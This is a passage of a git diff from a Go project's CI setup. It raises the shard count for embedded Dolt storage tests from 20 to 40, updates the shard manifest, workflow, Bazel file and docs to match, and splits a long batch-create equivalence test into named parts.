TestEmbeddedDependencyEditorRemovesOnlyTheNamedEdge +40 16 TestEmbeddedReaderDoesNotMutateTheCallerRequest +40 16 TestEmbeddedReaderListLimitBoundaryUnderASortTheDatabaseCanExpress +40 16 TestEmbeddedRenameKeepsDependencyIDsDeterministic +40 16 TestExternalCapabilityBlocksEmbeddedReadyAndAppearsInTree +40 16 TestGetReadyWorkIncludeEphemeralAppliesWispFilters +40 16 TestMergeWithStrategy_OursKeepsLocal +40 16 TestWithPeerAuth_DivergedRemoteURLFailsClosed -20 17 TestActiveDatabaseSizeScopesToActiveEmbeddedDatabase -20 17 TestBuildDSN_WithDatabase -20 17 TestCleanGitRemoteCacheGarbage_Throttled -20 17 TestDepRekeyMarkerStillInIgnoredSeries -20 17 TestEmbeddedBatchCloserClaimNextIsNilWhenTheFrontIsEmpty -20 17 TestEmbeddedBatchCloserIdempotentRecloseIsAPerItemSuccess -20 17 TestEmbeddedBatchCloserPerItemRefusalIsAResultAndSurvivorsCommit -20 17 TestEmbeddedClaimerReclaimsItsOwnInProgressIssueWithoutWriting -20 17 TestEmbeddedDepRekeyConvergesRenameChain -20 17 TestEmbeddedDependencyEditorAcceptsAnExternalTarget -20 17 TestEmbeddedDependencyEditorAddMarksItsSourceInTheSameVerb -20 17 TestEmbeddedDependencyEditorRefusesBlockingEdgeAcrossItsOwnHierarchy -20 17 TestEmbeddedDoltStoreIssueLifecycleRejectsNilStore -20 17 TestEmbeddedIssueOperationsCreateReverseNonBlockingStagesConcreteTables -20 17 TestEmbeddedMigration0047DelegatesToSplitTargetRepairAndConvergesThroughIgnoredChain -20 17 TestEmbeddedReaderGetOptionalRowListsAreOffByDefault -20 17 TestEmbeddedReaderListSkipCountsDropsTheCardinalitiesAndNothingElse -20 17 TestEmbeddedReaderReadySortPoliciesOrderTheSameRows -20 17 TestEmbeddedRelationsAnswersInThePinnedOrder -20 17 TestEmbeddedTransactionSameStatusDoesNotPublishUnrelatedDurableChanges -20 17 TestEpochContract -20 17 TestHelperProcess -20 17 TestLegacyTrackedIgnoredCursorUnwedgesPull -20 17 TestLenientGateWarning_ComposedOutput -20 17 TestReadyWorkPageTotal -20 17 TestSweeperContract -20 17 TestTransactionCleanupAfterSQLCommitIsIndeterminate -20 17 TestWithPeerAuth_RestoresEnvWhenCallbackFails +40 17 TestAddDependency +40 17 TestEmbeddedBatchCloserWispItemClosesAndEarnsTheClaim +40 17 TestEmbeddedDependencyEditorSameTypeReAddWithChangedThreadMintsOneVersion +40 17 TestEmbeddedIssueOperationsUpdateIssuePlaneOnlyRefusesWisps +40 17 TestEmbeddedIssueOperationsUpdateStatusCrossingSettlesAConditionalBlocksDepender +40 17 TestEmbeddedReaderListRejectsATypeOutsideTheWorkspaceVocabulary +40 17 TestEmbeddedReadyClaimerLeasesADurableWinButNotAnEphemeralOne +40 17 TestHeartbeatMatchesActorAcrossSpellingEmbedded +40 17 TestStatsReporterContract +40 17 TestVersionReconcilerContract -20 18 TestBatchCreatorContract -20 18 TestBlockingAnnotatorContract -20 18 TestCountsIncludeWispDependencies -20 18 TestEmbeddedBatchCloserDurableHistoryNeverNamesAWisp -20 18 TestEmbeddedBatchCreateFirstVersionCarriesCreationTimeEdges -20 18 TestEmbeddedBlockedRecheckFailureKeepsTheWrite -20 18 TestEmbeddedCheckedWrappersRouteTheirPreconditions -20 18 TestEmbeddedDependencyEditorSkipPerEdgeCycleCheckDropsOnlyTheProbe -20 18 TestEmbeddedIssueOperationsCreateUnderAParentMintsTheNextChildID -20 18 TestEmbeddedIssueOperationsUpdateClaimPatchAppliesAfterClaim -20 18 TestEmbeddedIssueOperationsUpdateRefusesATypeOutsideTheWorkspaceVocabulary -20 18 TestEmbeddedMigrateRepairedDependenciesIDColumnCommitsAtomicallyWithVersion53_4690 -20 18 TestEmbeddedMigrateStepCommitLeavesUntouchedUserDirt_4566 -20 18 TestEmbeddedReadyClaimerClaimsTheFrontRowAndReturnsThePostClaimState -20 18 TestEmbeddedReadyClaimerRecordsOneHistoryEntryForAWin -20 18 TestLargeBatchApplyWallClock_Embedded -20 18 TestMerge_NoStrategyStillErrorsWithEscapeHatchHint -20 18 TestRenameLabel -20 18 TestVersionReconcilerContract +40 18 TestEmbeddedBatchCloserIdempotentRecloseIsAPerItemSuccess +40 18 TestEmbeddedDependencyEditorMixedBatchWritesBothPlanes +40 18 TestEmbeddedIssueOperationsUpdateRawMetadataTakesTheFunnelsValueShapes +40 18 TestEmbeddedMergeAndSettleMemoryConfigConflict +40 18 TestEmbeddedReaderListIncludeEphemeralMergesThePlanesIntoOneOrder +40 18 TestEmbeddedReaderListParentReachesEveryDescendantAndOnlyItsOwn +40 18 TestMetadataCASContract +40 18 TestOpenDifferentDirsReturnsDifferentStores +40 18 TestPromoteClearsNoHistory +40 18 TestRemoteVerbPlainRemoteWithoutAuthPresentsNone -20 19 TestBatchGetterContract -20 19 TestBootstrapperContract -20 19 TestCreateIssue -20 19 TestCreateRejectsCrossTableIDCollision -20 19 TestEmbeddedBatchCloserWispItemClosesAndEarnsTheClaim -20 19 TestEmbeddedDepRekeyRepairsHalfRekeyedDuplicateEdge -20 19 TestEmbeddedIssueOperationsUpdateStatusCrossingSettlesDependers -20 19 TestEmbeddedMergeAndSettleMemoryConfigConflict -20 19 TestEmbeddedMigrateConvergesUnderConcurrentInterruptedRetries_4566 -20 19 TestEmbeddedOpenForReadOnlyCommand_LenientGate -20 19 TestEmbeddedReadyClaimerDoesNotMutateTheCallerRequest -20 19 TestEmbeddedReadyClaimerFencesTheClaimByEveryLabelSetAndTheParentItWasGiven -20 19 TestEmbeddedReadyClaimerLeavesEphemeralRowsOutOfTheDefaultReadySet -20 19 TestEmbeddedSyncCommitsConfigBeforeMerge -20 19 TestGetIssue -20 19 TestGetReadyWorkMoleculeFilter -20 19 TestLargeBatchApplyStatementCounts712_Embedded -20 19 TestReopenIssue -20 19 TestWithPeerAuth_DivergedRemoteURLFailsClosed -20 19 TestWithPeerAuth_KeyMismatchFailsClosed +40 19 TestEmbeddedDependencyEditorRetypeRefusalLeavesTheOriginalEdge +40 19 TestEmbeddedIssueOperationsUpdateInvalidIssueTypePreservesValidationSentinel +40 19 TestEmbeddedMigration0062FlipsEventsToIgnoredPlane +40 19 TestEmbeddedReaderListMaxRowsIsHonored +40 19 TestEmbeddedRelationsAnswersInThePinnedOrder +40 19 TestIgnoredCursorHealConvergesFromEveryCrashState +40 19 TestOpenAfterCloseCreatesNewStore +40 19 TestOpenReturnsCachedStore +40 19 TestRemoteVerbsPresentStoredPeerCredentials +40 19 TestRenameLabelMintsOneVersionPerTouchedBead -20 20 TestCounterContract -20 20 TestEmbeddedClaimerClaimsAnUnassignedOpenIssueAndAnswersTheBareRow -20 20 TestEmbeddedDependencyEditorRefusesSelfDependencyWithTheProbeSkipped -20 20 TestEmbeddedEveryAcceptedLifecycleMutationMintsOneVersion -20 20 TestEmbeddedIssueOperationsPersistenceRollbackWispAndDetachedResults -20 20 TestEmbeddedIssueOperationsUpdateClaimCASAndTransferMatrix -20 20 TestEmbeddedMergeAndSettleFKCascadeRepair -20 20 TestEmbeddedMigrateSelfHealsAfterMidPassFault_4566 -20 20 TestEmbeddedMoveIssuePersistenceEphemeralNoHistorySmoke -20 20 TestEmbeddedOpenForRemoteSync_DataBehind -20 20 TestEmbeddedOpenReadOnly_SkipsGateAndMigrations -20 20 TestEmbeddedReaderGetMissIsNotFoundAndBackendFailureDoesNotDecay -20 20 TestEmbeddedReadyClaimerClaimsAnEphemeralRowTheFilterAdmits -20 20 TestEmbeddedRemoteMigrateGate_BlocksReopen -20 20 TestEventsAutoPruneThrottleSkipsTheSecondPass -20 20 TestIgnoredCursorHealIsIdempotent -20 20 TestLargeBatchApplyStatementCountsClassic40_Embedded -20 20 TestMergeAndSettleWithStrategy_ResolvesDeclinedConflict -20 20 TestMergeWithStrategy_OursKeepsLocal -20 20 TestPruneEventsBatchDeletesTheLowestSeqsOnly +40 20 TestCreateIssue +40 20 TestEmbeddedCheckedWrappersRouteTheirPreconditions +40 20 TestEmbeddedIssueOperationsCreateRoutesInfraTypesToWisps +40 20 TestEmbeddedMigrateStepCommitLeavesUntouchedUserDirt_4566 +40 20 TestEmbeddedOpenReadOnly_SkipsGateAndMigrations +40 20 TestEmbeddedReadyClaimerClaimsAnEphemeralRowTheFilterAdmits +40 20 TestEventsJournalRestartAndRetentionBoundary +40 20 TestForeignSkipDetailIsBounded +40 20 TestHeartbeatRejectsWispEmbedded +40 20 TestIgnoredCursorHealNeverResurrectsRolledBackVersions + +40 21 TestCreateRejectsCrossTableIDCollision +40 21 TestEmbeddedBatchCloserItemsAnswerToTheCloseGuards +40 21 TestEmbeddedDependencyEditorAcceptsATypeOutsideTheConstants +40 21 TestEmbeddedIssueOperationsUpdateParentStagesBlockedStateAndRollsBackFailure +40 21 TestEmbeddedMigration0047DelegatesToSplitTargetRepairAndConvergesThroughIgnoredChain +40 21 TestEmbeddedRelationsLeavesAnExternalTargetOutOfTheAnswer +40 21 TestEmbeddedRemoteMigrateGate_BlocksReopen +40 21 TestEmbeddedRoleFixtureKitCountHistoryMovesWithACommit +40 21 TestEmbeddedTransactionStandaloneWispLifecyclePersistsWithoutDoltCommit +40 21 TestLargeBatchApplyWallClock_Embedded + +40 22 TestEdgeReaderContract +40 22 TestEmbeddedDepRekeyAbortLeavesMarkerUnrecorded +40 22 TestEmbeddedDepRekeyRefusesToWriteIntoDirtyDependencies +40 22 TestEmbeddedDependencyEditorRefusesSelfDependencyWithTheProbeSkipped +40 22 TestEmbeddedReaderListStatusAcceptsACommaSeparatedORSet +40 22 TestEmbeddedReaderReadyLimitBoundary +40 22 TestEventsAutoPruneKeepsAnUnboundedJournalUnbounded +40 22 TestEventsJournalPruneNeverSplitsASkewedPair +40 22 TestLargeBatchApplyStatementCounts356_Embedded +40 22 TestLeaseLifecycleEmbedded + +40 23 TestEmbeddedBatchCloserBackendFailureReturnsNoOutcomes +40 23 TestEmbeddedBatchCloserClaimNextHydratesWhenSomethingClosed +40 23 TestEmbeddedDependencyEditorAcceptsBlockingAcrossIssueTypes +40 23 TestEmbeddedDependencyEditorRecordsNoHistoryForAnAllEphemeralRequest +40 23 TestEmbeddedMigrateConvergesUnderConcurrentInterruptedRetries_4566 +40 23 TestEmbeddedReaderListEmptyPageIsWellFormed +40 23 TestEmbeddedReadyClaimerFencesTheClaimByEveryLabelSetAndTheParentItWasGiven +40 23 TestEmbeddedRoleFixtureKitHooksAreUsable +40 23 TestEventsAutoPruneBoundsTheJournalToTheFloors +40 23 TestJournalContract + +40 24 TestBootstrapperContract +40 24 TestEmbeddedBatchCloserOutcomesMirrorItemsIndexForIndex +40 24 TestEmbeddedClaimerReclaimsAcrossSpellingWithoutWriting +40 24 TestEmbeddedConfigCommitStagesConfig +40 24 TestEmbeddedIgnoredSeriesConvergesWithFreshInitShape +40 24 TestEmbeddedIssueOperationsCreateWithDependenciesSettlesInTheCreatingTransaction +40 24 TestEmbeddedMigrateSelfHealsAfterMidPassFault_4566 +40 24 TestEmbeddedReaderListWispTypeNarrowsTheAdmittedPlaneRatherThanAdmittingIt +40 24 TestIgnoredCursorHealResumeRespectsOperatorOverride +40 24 TestLargeBatchApplyStatementCountsClassic40_Embedded +40 24 TestReopenIssue + +40 25 TestBatchGetterContract +40 25 TestDualWriteFixtureKitIsWired +40 25 TestEmbeddedBatchCloserClaimNextIsNilWhenNothingClosed +40 25 TestEmbeddedIssueOperationsUpdateClaimHonorsConfiguredActiveStatuses +40 25 TestEmbeddedReadyClaimerLeavesEphemeralRowsOutOfTheDefaultReadySet +40 25 TestEmbeddedReadyClaimerRejectsLimitOffsetBriefAndEmptyActor +40 25 TestGetDependentRecordsForIssuesEmbedded +40 25 TestIgnoredCursorHealIsIdempotent +40 25 TestIsBlockedBatchEmbedded +40 25 TestReadyWorkPageTotal +40 25 TestWithPeerAuth_RestoresAbsentEnv + +40 26 TestEmbeddedIssueOperationsCreateClosedDerivesTheClosedStamp +40 26 TestEmbeddedMigration0058CleansOrphanedAndInvalidWispDependenciesRowsBeforeAddingConstraints +40 26 TestEmbeddedOpenForReadOnlyCommand_LenientGate +40 26 TestEmbeddedReaderListReadyFlagCarriesTheAssigneeAndPriorityFilters +40 26 TestEmbeddedReaderReadyParentScopesToItsTransitiveDescendants +40 26 TestEmbeddedReadyClaimerSkipsIneligibleFrontRows +40 26 TestEmbeddedRecomputeAllBlockedDirtyGraphIsTyped +40 26 TestEmbeddedRelationsRefusesTheZeroDirection +40 26 TestHookFiringStoreCreateIssuesFiresDependencyUpdatesFromEmbeddedStore +40 26 TestReclaimAnyReplicaOverride +40 26 TestWithPeerAuth_EnvFallbackDoesNotObservePeerCredentials + +40 27 TestEmbeddedBatchCloserDurableHistoryNeverNamesAWisp +40 27 TestEmbeddedBatchCloserRequestValidationReturnsZeroResultAndChangesNothing +40 27 TestEmbeddedDependencyEditorAcceptsADiamond +40 27 TestEmbeddedDependencyEditorAddMarksItsSourceInTheSameVerb +40 27 TestEmbeddedMigration0058HealsAlreadyAffectedDatabase +40 27 TestEmbeddedReaderGetOptionalRowListsAreOffByDefault +40 27 TestEmbeddedRelationsRefusesATypeFilterOverTheColumnLength +40 27 TestEventsJournalReadRefusesAnInteriorHole +40 27 TestPartitionWispIDs +40 27 TestRemoteGitDataRefOnEngine +40 27 TestSweeperContract + +40 28 TestEmbeddedBatchCloserForceBypassesOnlyClosePolicy +40 28 TestEmbeddedBatchCloserSettlesTheDependersOfWhatItClosed +40 28 TestEmbeddedClaimerClaimsAnUnassignedOpenIssueAndAnswersTheBareRow +40 28 TestEmbeddedClaimerReclaimsItsOwnInProgressIssueWithoutWriting +40 28 TestEmbeddedClaimerTakesAPoolAssignedIssueButRefusesAForeignHolder +40 28 TestEmbeddedIssueOperationsUpdateLabelPatchValueRules +40 28 TestEmbeddedIssueOperationsUpdateRefusesATypeOutsideTheWorkspaceVocabulary +40 28 TestEmbeddedReaderListReadyFlagAnswersTheBlockerAwareSet +40 28 TestRenameLabel +40 28 TestUpdateIssueType +40 28 TestWithPeerAuth_RestoresEnvWhenCallbackFails + +40 29 TestEmbeddedBatchCloserClaimFilterValueFailureIsARequestValidationFailure +40 29 TestEmbeddedBatchCloserClaimNextIsNilWhenTheFrontIsEmpty +40 29 TestEmbeddedDepRekeyMergesFreshDuplicateEdges +40 29 TestEmbeddedDependencyEditorRecordsOneHistoryEntryPerLandedRequest +40 29 TestEmbeddedMergeAndSettleMetadataConflict +40 29 TestEmbeddedReaderListDefaultExclusionsAndTheirOverrides +40 29 TestEmbeddedReaderReadySetOwnsItsStatusPinnedAndTemplateDecisions +40 29 TestEmbeddedTransactionSameStatusDoesNotPublishUnrelatedDurableChanges +40 29 TestEventsJournalAccessor +40 29 TestLeaseReclaimerContract +40 29 TestLifecycleCreateContract + +40 30 TestCounterContract +40 30 TestCycleDetectorContract +40 30 TestEmbeddedClaimerTakesAnOpenIssueTheActorAlreadyHolds +40 30 TestEmbeddedCommitToleratesNothingToCommit +40 30 TestEmbeddedEveryAcceptedLifecycleMutationMintsOneVersion +40 30 TestEmbeddedIssueOperationsUpdateClaimConflictCarriesTheLosingState +40 30 TestEmbeddedIssueOperationsUpdateStampsStartedAtOnceOnTheFirstInProgress +40 30 TestEmbeddedReaderReadySortPoliciesOrderTheSameRows +40 30 TestEmbeddedTransactionStandaloneWispMutationDoesNotPublishUnrelatedDurableChanges +40 30 TestLegacyTrackedIgnoredCursorUnwedgesPull +40 30 TestUpdateMergeOps_DoltEngine_TwoIssues + +40 31 TestDualWriteContract +40 31 TestEmbeddedDependencyEditorAcceptsAForeignRepoTarget +40 31 TestEmbeddedDependencyEditorMaintainsBlockedStateAcrossPlanes +40 31 TestEmbeddedDependencyEditorWritesTheTargetIntoItsTypedColumn +40 31 TestEmbeddedMigrateConsent_BehindAndDirtyWorkingSetReconcileRecovers +40 31 TestEmbeddedReaderListPriorityKeysetWalkOverAnOversizedEqualKeyRunLosesNothingAndRepeatsNothing +40 31 TestEmbeddedTransactionWispLifecyclePersistsDurableDependent +40 31 TestEventsSinceEmbedded +40 31 TestGetLabels +40 31 TestReadyCounterContract +40 31 TestWithPeerAuth_KeyMismatchFailsClosed + +40 32 TestEmbeddedClaimerGrantsALiveLeaseOnTheRowItWonAndLeavesARefusedOneAlone +40 32 TestEmbeddedDependencyEditorRefusesAMissingLocalTarget +40 32 TestEmbeddedDirtyTablesGate_BlocksReopenThenWorkingSetReconcileRecovers +40 32 TestEmbeddedIgnoredMigration0019CreatesEventsForFreshClones +40 32 TestEmbeddedIssueOperationsCreateReverseNonBlockingStagesConcreteTables +40 32 TestEmbeddedReadyClaimerEmptyFrontIsNormal +40 32 TestEmbeddedRecomputeAllBlockedWiring +40 32 TestEventsJournal_EmbeddedConcurrentGaplessNoDup +40 32 TestGetNextChildID +40 32 TestRemoteVerbPlainRemoteKeepsAmbientEnv +40 32 TestWithPeerAuth_MissingRemoteFailsClosed + +40 33 TestEmbeddedBatchCloserDuplicateItemRecloseAtItsOwnIndex +40 33 TestEmbeddedDependencyEditorClosedChildAddSatisfiesAnAnyChildrenGate +40 33 TestEmbeddedDependencyEditorValidationRefusalsWriteNothing +40 33 TestEmbeddedIgnoredMigration0023NoopsOnHealthyWorkspace +40 33 TestEmbeddedMoveIssuePersistenceEphemeralNoHistorySmoke +40 33 TestEmbeddedRelationsResolvesTheAnchorIDExactly +40 33 TestEmbeddedSyncCommitsConfigBeforeMerge +40 33 TestEventsAutoPruneThrottleSkipsTheSecondPass +40 33 TestGetDependentRecordsEmbedded +40 33 TestPruneEventsBatchDeletesTheLowestSeqsOnly +40 33 TestTreeWalkerContract + +40 34 TestAddLabel +40 34 TestDecryptPassword_KeyMismatchNamesTheLocalKey +40 34 TestEmbeddedBlockedRecheckRecordsUnblockingWrites +40 34 TestEmbeddedDependencyEditorAttributesItsEventsToTheActor +40 34 TestEmbeddedDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp +40 34 TestEmbeddedIssueOperationsCreateAggregatesRelations +40 34 TestEmbeddedReaderReadyDeferredAndEphemeralGates +40 34 TestEmbeddedReaderReadyPageIsThePrefixOfTheUnboundedAnswerCountsIncluded +40 34 TestMergeWithStrategy_TheirsResolvesAndCommits +40 34 TestQuerierContract +40 34 TestReadyWorkStatementBudget + +40 35 TestEmbeddedBatchCloserAllIdempotentBatchLandsNothing +40 35 TestEmbeddedClaimIssueWrapperClaimsTheWispPlane +40 35 TestEmbeddedDependencyEditorGateScopeFollowsTheEdgeType +40 35 TestEmbeddedDependencyEditorRefusesASamePlaneEdgeClosingACrossPlaneCycle +40 35 TestEmbeddedDependencyEditorRepeatsWithinOneRequestCollapse +40 35 TestEmbeddedIssueOperationsUpdateAllScalarAndPointerFieldsReportChanged +40 35 TestEmbeddedIssueOperationsUpdateWritesEveryScalarPatchField +40 35 TestMerge_NoStrategyStillErrorsWithEscapeHatchHint +40 35 TestReadEventsAutoPruneStateResolvesBothHalvesInOneQuery +40 35 TestReadyWorkWithMissingDeferredParentTables +40 35 TestReclaimExpiredLeaseSurvivesRestartEmbedded + +40 36 TestCommenterContract +40 36 TestConcurrentOpenReturnsCached +40 36 TestEmbeddedBatchCloserAllRefusedBatchRecordsNoHistory +40 36 TestEmbeddedDependencyEditorRefusalWritesNothing +40 36 TestEmbeddedDependencyEditorSkipPerEdgeCycleCheckDropsOnlyTheProbe +40 36 TestEmbeddedMigration0057ConvertsTextEventsColumnsToLongtext +40 36 TestEmbeddedReaderListReadyFlagRefusesAFilterItCannotCarry +40 36 TestEmbeddedRelationsRefusesAnUnusableTypeFilter +40 36 TestGetReadyWorkMoleculeFilter +40 36 TestReleaserContract +40 36 TestSchemaAfterInit + +40 37 TestEmbeddedBatchCloserClaimNextSeesAnUnblockingFromItsOwnBatch +40 37 TestEmbeddedBatchCloserOutcomeSnapshotIsTheDocumentedShape +40 37 TestEmbeddedDependencyEditorRecordsOneHistoryEntryForAMixedPlaneRequest +40 37 TestEmbeddedDependencyEditorRefusesACycleThroughAParentChildHop +40 37 TestEmbeddedDependencyEditorRemoveUnmarksItsSourceAndDescendants +40 37 TestEmbeddedIssueOperationsCreateEmptyIDPreservesParentAndReverseDependencies +40 37 TestEmbeddedLenientOpenWarning_OtherRefusalsKeepBluntGuidance +40 37 TestEmbeddedMergeAndSettleReportsOperatorConflicts +40 37 TestEmbeddedReaderListBriefDropsTheFreeFormTextAndNothingElse +40 37 TestEmbeddedReaderListNaturalNumericIDSortTrimsAfterTheFetch +40 37 TestIgnoredCursorHealRespectsOverrideUnderBroaderPattern + +40 38 TestCreateIssues +40 38 TestEmbeddedClaimerRefusesABuiltInIneligibleStatusWithTheStateThatRefusedIt +40 38 TestEmbeddedDependencyEditorRefusesBlockingEdgeAcrossItsOwnHierarchy +40 38 TestEmbeddedIssueOperationsUpdateClosedFieldsMatchClose +40 38 TestEmbeddedIssueOperationsUpdateNotesConflictPreservesValidationSentinel +40 38 TestEmbeddedReaderGetDetailShapeMatchesTheSeededIssue +40 38 TestEmbeddedReaderListCountsAreBlocksOnlyWhereGetCountsEveryEdge +40 38 TestEmbeddedReaderListKeysetWalkOverAnOversizedGroupLosesNothingAndRepeatsNothing +40 38 TestEmbeddedTempRebuildIntermediatesNeverReachHistory +40 38 TestEventsJournalPruneWhenEveryRowIsOlderThanTheCutoff +40 38 TestWithPeerAuth_ConcurrentPeersDoNotMixCredentials + +40 39 TestDualWriteContractFlagOff +40 39 TestEmbeddedBatchCloserPerItemRefusalIsAResultAndSurvivorsCommit +40 39 TestEmbeddedBlockedRecheckFailureKeepsTheWrite +40 39 TestEmbeddedDependencyEditorMixedBatchRefusalRollsBackBothPlanes +40 39 TestEmbeddedIssueOperationsClaimLeavesBlockedStateAlone +40 39 TestEmbeddedMigrateRepairedDependenciesIDColumnCommitsAtomicallyWithVersion53_4690 +40 39 TestEmbeddedReaderListSkipCountsDropsTheCardinalitiesAndNothingElse +40 39 TestEmbeddedRelationsResolvesAWispAnchor +40 39 TestPreviewStoreRefusesLocalMetadataWrite +40 39 TestReclaimRefusesForeignReplicaLease +40 39 TestWorkspaceConfigContract + +40 40 TestCountsWithMissingWispPlaneTables +40 40 TestEmbeddedBatchCloserDoesNotMutateTheCallerRequest +40 40 TestEmbeddedBlockedRecheckSettlesWhatTheWriteRecorded +40 40 TestEmbeddedDepRekeyRepairsHalfRekeyedDuplicateEdge +40 40 TestEmbeddedDependencyEditorRefusesBlockingEdgeAcrossAWispHierarchy +40 40 TestEmbeddedDependencyEditorRoutesWispSourcedEdgeToTheWispPlane +40 40 TestEmbeddedDependencyEditorSameTypeReAddWithChangedMetadataMintsOneVersion +40 40 TestEmbeddedIssueOperationsUpdateStatusCrossingSettlesDependers +40 40 TestEmbeddedOpenForRemoteSync_OtherRefusalsStayFatal +40 40 TestEmbeddedRelationsSeparatesNoNeighborsFromNoSuchIssue +40 40 TestEmbeddedReopenCustomDoneFallsBackWhenNormalizedTableMissing diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index 9e24e688b..632b264d0 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -1293,11 +1293,12 @@ jobs: # proves nothing pr-risk.yml's embedded jobs (which do run for forks) do # not. # - # Shard counts: storage (20) is the smallest count whose LPT-packed - # heaviest shard (scripts/ci/gen_embedded_storage_shard_manifest.py - # --weights=duration --repack, on rbe-west measurements) stays near 110s, - # under the ~150s per-shard budget with headroom for executor load; its - # heaviest single top-level test is ~90s. cmd is a 100-shard block split + # Shard counts: storage (40): its tests are serial, so a shard's wall + # time is the sum of its tests, and CI shards run ~1.3-1.6x the rbe-west + # measurements; 40 is where the LPT-packed heaviest shard + # (scripts/ci/gen_embedded_storage_shard_manifest.py --weights=duration + # --repack) is its heaviest single top-level test, ~71s + # (TestLifecycleCloseReopenContract). cmd is a 100-shard block split # over two targets, //cmd/bd:bd_embedded_test (shards 1-50) and # //cmd/bd:bd_embedded_part2_test (51-100), because Bazel caps a rule at # 50 shards ("Having more than 50 shards is indicative of poor test @@ -1396,7 +1397,7 @@ jobs: --bep "$RUNNER_TEMP/bazel-bep.json" --suite //cmd/bd:bd_embedded_test .github/scripts/embedded-test-shard.sh 50@0/100 --suite //cmd/bd:bd_embedded_part2_test .github/scripts/embedded-test-shard.sh 50@50/100 - --suite //internal/storage/embeddeddolt:embeddeddolt_embedded_test .github/scripts/embedded-storage-test-shard.sh 20 + --suite //internal/storage/embeddeddolt:embeddeddolt_embedded_test .github/scripts/embedded-storage-test-shard.sh 40 --whole //internal/storage/embeddeddolt:embeddeddolt_conformance_core_test --whole //internal/storage/embeddeddolt:embeddeddolt_conformance_audit_test diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index d6e4e1c61..c0c340b6d 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -1041,7 +1041,7 @@ Required` requires them to have run remotely and passed. `//cmd/bd:bd_embedded_part2_test` (50 each: shards 1-50 and 51-100 of the manifest's 100-shard block, which their ranges must tile exactly once; the manifest's frozen 20-shard block was the retired - `test-embedded-cmd` jobs' split, F1), `//internal/storage/embeddeddolt:embeddeddolt_embedded_test` (20; + `test-embedded-cmd` jobs' split, F1), `//internal/storage/embeddeddolt:embeddeddolt_embedded_test` (40; the frozen 5-shard block was `test-embedded-storage`'s, F1), `//cmd/bd:bd_proxied_test` (34; the frozen 15-shard block was `test-proxied-cmd`'s, F2) and diff --git a/internal/storage/createbatchequiv/createbatchequiv.go b/internal/storage/createbatchequiv/createbatchequiv.go index bbb5c3de8..79f0c1e05 100644 --- a/internal/storage/createbatchequiv/createbatchequiv.go +++ b/internal/storage/createbatchequiv/createbatchequiv.go @@ -100,6 +100,38 @@ func Run(t *testing.T, open Open) { runScenarios(t, open, scenarios()) } +// ScenarioNames returns the names of Run's scenarios, in Run's order. +func ScenarioNames() []string { + var names []string + for _, sc := range scenarios() { + names = append(names, sc.name) + } + return names +} + +// RunNamed is Run for only the named scenarios (in Run's order), for a +// backend that spreads Run's scenarios over several top-level tests; it fails +// on a name Run does not have. Such a backend must cover ScenarioNames() +// exactly once between its tests. +func RunNamed(t *testing.T, open Open, names ...string) { + t.Helper() + want := map[string]bool{} + for _, n := range names { + want[n] = true + } + var list []scenario + for _, sc := range scenarios() { + if want[sc.name] { + list = append(list, sc) + delete(want, sc.name) + } + } + for n := range want { + t.Fatalf("createbatchequiv: no scenario %q (have %v)", n, ScenarioNames()) + } + runScenarios(t, open, list) +} + // RunLarge is Run for the 458-issue scenarios. A backend runs it from its own // top-level test so a race-instrumented lane can skip it (see the embedded // backend's caller) without losing the light scenarios. diff --git a/internal/storage/embeddeddolt/BUILD.bazel b/internal/storage/embeddeddolt/BUILD.bazel index 8241d7414..7997a0f13 100644 --- a/internal/storage/embeddeddolt/BUILD.bazel +++ b/internal/storage/embeddeddolt/BUILD.bazel @@ -271,9 +271,9 @@ go_test( ], ) -# Runs 20 Bazel shards against every top-level Test* function in +# Runs 40 Bazel shards against every top-level Test* function in # internal/storage/embeddeddolt/*_test.go but TestConformance, assigned by -# the manifest's 20-shard block (duration-balanced on rbe-west measurements; +# the manifest's 40-shard block (duration-balanced on rbe-west measurements; # see scripts/ci/embedded_storage_test_durations.json), with # BEADS_TEST_EMBEDDED_DOLT=1; the wrapper points # BEADS_TEST_EMBEDDED_TEST_BINARY at this binary, which the concurrency test @@ -310,7 +310,7 @@ sh_test( "//:.github/scripts/embedded-storage-test-shards.txt", ], env = {"BEADS_TEST_EMBEDDED_DOLT": "1"}, - shard_count = 20, + shard_count = 40, tags = ["embedded"], ) diff --git a/internal/storage/embeddeddolt/create_batch_equivalence_test.go b/internal/storage/embeddeddolt/create_batch_equivalence_test.go index 913f1ab35..12a6d0214 100644 --- a/internal/storage/embeddeddolt/create_batch_equivalence_test.go +++ b/internal/storage/embeddeddolt/create_batch_equivalence_test.go @@ -4,19 +4,51 @@ package embeddeddolt_test import ( "database/sql" + "slices" "testing" "github.com/steveyegge/beads/internal/storage/createbatchequiv" "github.com/steveyegge/beads/internal/storage/sqlcount" ) -// TestCreateBatchFastPathsMatchPerRow_Embedded runs the batch-create -// equivalence scenario (internal/storage/createbatchequiv) on the embedded -// engine: the same import-shaped batch through the fast and per-row bodies -// must store the same rows. -func TestCreateBatchFastPathsMatchPerRow_Embedded(t *testing.T) { +// createBatchEquivalenceParts spreads createbatchequiv.Run's scenarios over +// the two TestCreateBatchFastPathsMatchPerRow*_Embedded tests below: under +// -race they took ~110s as one test, a whole CI shard on their own. +// TestCreateBatchEquivalencePartsCoverEveryScenario keeps the split exact. +var createBatchEquivalenceParts = [][]string{ + {"small", "depadd"}, + {"apply", "waitsfor"}, +} + +// TestCreateBatchFastPathsMatchPerRowSmallDepAdd_Embedded and +// TestCreateBatchFastPathsMatchPerRowApplyWaitsFor_Embedded run the +// batch-create equivalence scenarios (internal/storage/createbatchequiv) on +// the embedded engine: the same import-shaped batch through the fast and +// per-row bodies must store the same rows. +func TestCreateBatchFastPathsMatchPerRowSmallDepAdd_Embedded(t *testing.T) { skipUnlessEmbeddedDolt(t) - createbatchequiv.Run(t, openEquivalenceDB) + createbatchequiv.RunNamed(t, openEquivalenceDB, createBatchEquivalenceParts[0]...) +} + +func TestCreateBatchFastPathsMatchPerRowApplyWaitsFor_Embedded(t *testing.T) { + skipUnlessEmbeddedDolt(t) + createbatchequiv.RunNamed(t, openEquivalenceDB, createBatchEquivalenceParts[1]...) +} + +// TestCreateBatchEquivalencePartsCoverEveryScenario fails 